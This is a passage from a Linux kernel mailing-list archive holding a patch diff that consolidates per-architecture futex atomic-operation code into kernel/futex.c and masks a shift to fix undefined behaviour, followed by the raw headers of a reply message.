-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/microblaze/include/asm/futex.h b/arch/microblaze/include/asm/futex.h
index 01848f056f43..a9dad9e5e132 100644
--- a/arch/microblaze/include/asm/futex.h
+++ b/arch/microblaze/include/asm/futex.h
@@ -29,18 +29,9 @@
 })
 
 static inline int
-futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -66,30 +57,9 @@ futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/mips/include/asm/futex.h b/arch/mips/include/asm/futex.h
index 1de190bdfb9c..a9e61ea54ca9 100644
--- a/arch/mips/include/asm/futex.h
+++ b/arch/mips/include/asm/futex.h
@@ -83,18 +83,9 @@
 }
 
 static inline int
-futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -125,17 +116,9 @@ futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/openrisc/include/asm/futex.h b/arch/openrisc/include/asm/futex.h
index 778087341977..8fed278a24b8 100644
--- a/arch/openrisc/include/asm/futex.h
+++ b/arch/openrisc/include/asm/futex.h
@@ -30,20 +30,10 @@
 })
 
 static inline int
-futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -68,30 +58,9 @@ futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
index 0ba14300cd8e..c601aab2fb36 100644
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -32,22 +32,12 @@ _futex_spin_unlock_irqrestore(u32 __user *uaddr, unsigned long int *flags)
 }
 
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, int oparg, int *oval, u32 __user *uaddr)
 {
 	unsigned long int flags;
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval, ret;
 	u32 tmp;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(*uaddr)))
-		return -EFAULT;
-
 	_futex_spin_lock_irqsave(uaddr, &flags);
 	pagefault_disable();
 
@@ -85,17 +75,9 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 	pagefault_enable();
 	_futex_spin_unlock_irqrestore(uaddr, &flags);
 
-	if (ret == 0) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/powerpc/include/asm/futex.h b/arch/powerpc/include/asm/futex.h
index eaada6c92344..719ed9b61ea7 100644
--- a/arch/powerpc/include/asm/futex.h
+++ b/arch/powerpc/include/asm/futex.h
@@ -29,18 +29,10 @@
 	: "b" (uaddr), "i" (-EFAULT), "r" (oparg) \
 	: "cr0", "memory")
 
-static inline int futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -66,17 +58,9 @@ static inline int futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/s390/include/asm/futex.h b/arch/s390/include/asm/futex.h
index a4811aa0304d..8f8eec9e1198 100644
--- a/arch/s390/include/asm/futex.h
+++ b/arch/s390/include/asm/futex.h
@@ -21,17 +21,12 @@
 		: "0" (-EFAULT), "d" (oparg), "a" (uaddr),		\
 		  "m" (*uaddr) : "cc");
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, newval, ret;
 
 	load_kernel_asce();
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
 
 	pagefault_disable();
 	switch (op) {
@@ -60,17 +55,9 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 	}
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/sh/include/asm/futex.h b/arch/sh/include/asm/futex.h
index 8e26e0ddc872..38a889edc3a6 100644
--- a/arch/sh/include/asm/futex.h
+++ b/arch/sh/include/asm/futex.h
@@ -27,21 +27,12 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 	return atomic_futex_op_cmpxchg_inatomic(uval, uaddr, oldval, newval);
 }
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	u32 oparg = (encoded_op << 8) >> 20;
-	u32 cmparg = (encoded_op << 20) >> 20;
 	u32 oldval, newval, prev;
 	int ret;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	do {
@@ -77,17 +68,8 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = ((int)oldval < (int)cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = ((int)oldval >= (int)cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = ((int)oldval <= (int)cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = ((int)oldval > (int)cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
 
 	return ret;
 }
diff --git a/arch/sparc/include/asm/futex_64.h b/arch/sparc/include/asm/futex_64.h
index 4e899b0dabf7..1cfd89d92208 100644
--- a/arch/sparc/include/asm/futex_64.h
+++ b/arch/sparc/include/asm/futex_64.h
@@ -29,22 +29,14 @@
 	: "r" (uaddr), "r" (oparg), "i" (-EFAULT)	\
 	: "memory")
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret, tem;
 
-	if (unlikely(!access_ok(VERIFY_WRITE, uaddr, sizeof(u32))))
-		return -EFAULT;
 	if (unlikely((((unsigned long) uaddr) & 0x3UL)))
 		return -EINVAL;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -69,17 +61,9 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/tile/include/asm/futex.h b/arch/tile/include/asm/futex.h
index e64a1b75fc38..83c1e639b411 100644
--- a/arch/tile/include/asm/futex.h
+++ b/arch/tile/include/asm/futex.h
@@ -106,12 +106,9 @@
 	lock = __atomic_hashed_lock((int __force *)uaddr)
 #endif
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int uninitialized_var(val), ret;
 
 	__futex_prolog();
@@ -119,12 +116,6 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 	/* The 32-bit futex code makes this assumption, so validate it here. */
 	BUILD_BUG_ON(sizeof(atomic_t) != sizeof(int));
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 	switch (op) {
 	case FUTEX_OP_SET:
@@ -148,30 +139,9 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 	}
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (val == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (val != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (val < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (val >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (val <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (val > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = val;
+
 	return ret;
 }
 
diff --git a/arch/x86/include/asm/futex.h b/arch/x86/include/asm/futex.h
index b4c1f5453436..f4dc9b63bdda 100644
--- a/arch/x86/include/asm/futex.h
+++ b/arch/x86/include/asm/futex.h
@@ -41,20 +41,11 @@
 		       "+m" (*uaddr), "=&r" (tem)		\
 		     : "r" (oparg), "i" (-EFAULT), "1" (0))
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret, tem;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
-
 	pagefault_disable();
 
 	switch (op) {
@@ -80,30 +71,9 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ:
-			ret = (oldval == cmparg);
-			break;
-		case FUTEX_OP_CMP_NE:
-			ret = (oldval != cmparg);
-			break;
-		case FUTEX_OP_CMP_LT:
-			ret = (oldval < cmparg);
-			break;
-		case FUTEX_OP_CMP_GE:
-			ret = (oldval >= cmparg);
-			break;
-		case FUTEX_OP_CMP_LE:
-			ret = (oldval <= cmparg);
-			break;
-		case FUTEX_OP_CMP_GT:
-			ret = (oldval > cmparg);
-			break;
-		default:
-			ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/arch/xtensa/include/asm/futex.h b/arch/xtensa/include/asm/futex.h
index b39531babec0..eaaf1ebcc7a4 100644
--- a/arch/xtensa/include/asm/futex.h
+++ b/arch/xtensa/include/asm/futex.h
@@ -44,18 +44,10 @@
 	: "r" (uaddr), "I" (-EFAULT), "r" (oparg)	\
 	: "memory")
 
-static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+static inline int arch_futex_atomic_op_inuser(int op, int oparg, int *oval,
+		u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 #if !XCHAL_HAVE_S32C1I
 	return -ENOSYS;
@@ -89,19 +81,10 @@ static inline int futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (ret)
-		return ret;
+	if (!ret)
+		*oval = oldval;
 
-	switch (cmp) {
-	case FUTEX_OP_CMP_EQ: return (oldval == cmparg);
-	case FUTEX_OP_CMP_NE: return (oldval != cmparg);
-	case FUTEX_OP_CMP_LT: return (oldval < cmparg);
-	case FUTEX_OP_CMP_GE: return (oldval >= cmparg);
-	case FUTEX_OP_CMP_LE: return (oldval <= cmparg);
-	case FUTEX_OP_CMP_GT: return (oldval > cmparg);
-	}
-
-	return -ENOSYS;
+	return ret;
 }
 
 static inline int
diff --git a/include/asm-generic/futex.h b/include/asm-generic/futex.h
index bf2d34c9d804..f0d8b1c51343 100644
--- a/include/asm-generic/futex.h
+++ b/include/asm-generic/futex.h
@@ -13,7 +13,7 @@
  */
 
 /**
- * futex_atomic_op_inuser() - Atomic arithmetic operation with constant
+ * arch_futex_atomic_op_inuser() - Atomic arithmetic operation with constant
  *			  argument and comparison of the previous
  *			  futex value with another constant.
  *
@@ -25,18 +25,11 @@
  * <0 - On error
  */
 static inline int
-futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval, ret;
 	u32 tmp;
 
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
 	preempt_disable();
 	pagefault_disable();
 
@@ -74,17 +67,9 @@ futex_atomic_op_inuser(int encoded_op, u32 __user *uaddr)
 	pagefault_enable();
 	preempt_enable();
 
-	if (ret == 0) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (ret == 0)
+		*oval = oldval;
+
 	return ret;
 }
 
@@ -126,18 +111,9 @@ futex_atomic_cmpxchg_inatomic(u32 *uval, u32 __user *uaddr,
 
 #else
 static inline int
-futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
+arch_futex_atomic_op_inuser(int op, u32 oparg, int *oval, u32 __user *uaddr)
 {
-	int op = (encoded_op >> 28) & 7;
-	int cmp = (encoded_op >> 24) & 15;
-	int oparg = (encoded_op << 8) >> 20;
-	int cmparg = (encoded_op << 20) >> 20;
 	int oldval = 0, ret;
-	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
-		oparg = 1 << oparg;
-
-	if (! access_ok (VERIFY_WRITE, uaddr, sizeof(u32)))
-		return -EFAULT;
 
 	pagefault_disable();
 
@@ -153,17 +129,9 @@ futex_atomic_op_inuser (int encoded_op, u32 __user *uaddr)
 
 	pagefault_enable();
 
-	if (!ret) {
-		switch (cmp) {
-		case FUTEX_OP_CMP_EQ: ret = (oldval == cmparg); break;
-		case FUTEX_OP_CMP_NE: ret = (oldval != cmparg); break;
-		case FUTEX_OP_CMP_LT: ret = (oldval < cmparg); break;
-		case FUTEX_OP_CMP_GE: ret = (oldval >= cmparg); break;
-		case FUTEX_OP_CMP_LE: ret = (oldval <= cmparg); break;
-		case FUTEX_OP_CMP_GT: ret = (oldval > cmparg); break;
-		default: ret = -ENOSYS;
-		}
-	}
+	if (!ret)
+		*oval = oldval;
+
 	return ret;
 }
 
diff --git a/kernel/futex.c b/kernel/futex.c
index b8ae87d227da..0b6e298d1e4c 100644
--- a/kernel/futex.c
+++ b/kernel/futex.c
@@ -1546,6 +1546,42 @@ futex_wake(u32 __user *uaddr, unsigned int flags, int nr_wake, u32 bitset)
 	return ret;
 }
 
+static int futex_atomic_op_inuser(unsigned int encoded_op, u32 __user *uaddr)
+{
+	int op = (encoded_op >> 28) & 7;
+	int cmp = (encoded_op >> 24) & 15;
+	int oparg = (int)(encoded_op << 8) >> 20;
+	int cmparg = (int)(encoded_op << 20) >> 20;
+	int oldval, ret;
+
+	if (encoded_op & (FUTEX_OP_OPARG_SHIFT << 28))
+		oparg = 1U << (oparg & 0x1f);
+
+	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(u32)))
+		return -EFAULT;
+
+	ret = arch_futex_atomic_op_inuser(op, oparg, &oldval, uaddr);
+	if (ret)
+		return ret;
+
+	switch (cmp) {
+	case FUTEX_OP_CMP_EQ:
+		return oldval == cmparg;
+	case FUTEX_OP_CMP_NE:
+		return oldval != cmparg;
+	case FUTEX_OP_CMP_LT:
+		return oldval < cmparg;
+	case FUTEX_OP_CMP_GE:
+		return oldval >= cmparg;
+	case FUTEX_OP_CMP_LE:
+		return oldval <= cmparg;
+	case FUTEX_OP_CMP_GT:
+		return oldval > cmparg;
+	default:
+		return -ENOSYS;
+	}
+}
+
 /*
  * Wake up all waiters hashed on the physical page that is mapped
  * to this virtual address:
-- 
2.13.1

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Darren Hart <dvhart@infradead.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 1/1] futex: remove duplicated code and fix UB
Date: Wed, 21 Jun 2017 20:53:37 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20170622035337.GF25900@fury>
References: <20170621115318.2781-1-jslaby@suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1498103638 15745 195.159.176.226 (22 Jun 2017 03:53:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 22 Jun 2017 03:53:58 +0000 (UTC)
User-Agent: Mutt/1.8.0 (2017-02-23)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org, peterz@infradead.org,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Will Deacon <will.deacon@arm.com>, Max Filippov <jcmvbkbc@gmail.com>,
 Paul Mackerras <paulus@samba.org>, "H. Peter Anvin" <hpa@zytor.com>,
 sparclinux@vger.kernel.org, tglx@linutronix.de,
 Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org,
 linux-arch@vger.kernel.org, Yoshinori Sato <ysato@users.sourceforge.jp>,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>, x86@kernel.org,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, mingo@redhat.com,
 Catalin Marinas <catalin.marinas@arm.com>, Matt Turner <mattst88@gmail.com>,
 linux-snps-arc@lists.infradead.org, Fenghua Yu <fenghua.yu@intel.com>,
 Arnd Bergmann <arnd@arndb.de>, linux-xtensa@linux-xtensa.org,
 Stefan Kristiansson <ste
To: Jiri Slaby <jslaby@suse.cz>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Jun 22 05:53:50 2017
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([65.50.211.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1dNtBl-0003eB-Fb
	for gla-linux-snps-arc@m.gmane.org; Thu, 22 Jun 2017 05:53:50 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=ypKb0x41ANWfrfCRuR+/20TNk9hZPKlr8geJdc2pE0E=; b=jWRp537qzlZNvI
	7qegdw9q4dAoJrnwgPYBta8GwWBCV1a648ByG7Sf3QKmzKvjs6Rp2HvucyfaBbMkRBIbYHK3+UFkW
	VSBWAVPYf43j+lGzLGI1cOf9DxHtqghsiKlZuiNIwyxkUoYYdZY7qUYBIQTiO9rMrutHK9zAuRIno
	5aCBOZaX7xaWY0mIUM+pe3DmkWSsT/J3/6Wb1QdyyUBhnl2TesXV6HK5IuyNeqGvFgWB8OpYMbKZb
	oWpvIBXy8mIaXwcoiuSgWTNT8YAdOxV3aRvY6a36lN2ITOJMruSIDQK7ZJ205Y+3ZhqHFdHmukrGP
	L+f36C6qjEBI2oG7uPJQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1dNtBq-0006PC-AT; Thu, 22 Jun 2017 03:53:54 +0000
Original-Received: from dvhart by bombadil.infradead.org with local (Exim 4.87 #1 (Red
 Hat Linux)) id 1dNtBb-0006Dy-65; Thu, 22 Jun 2017 03:53:39 +0000
Content-Disposition: inline
In-Reply-To: <20170621115318.2781-1-jslaby@suse.cz>
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
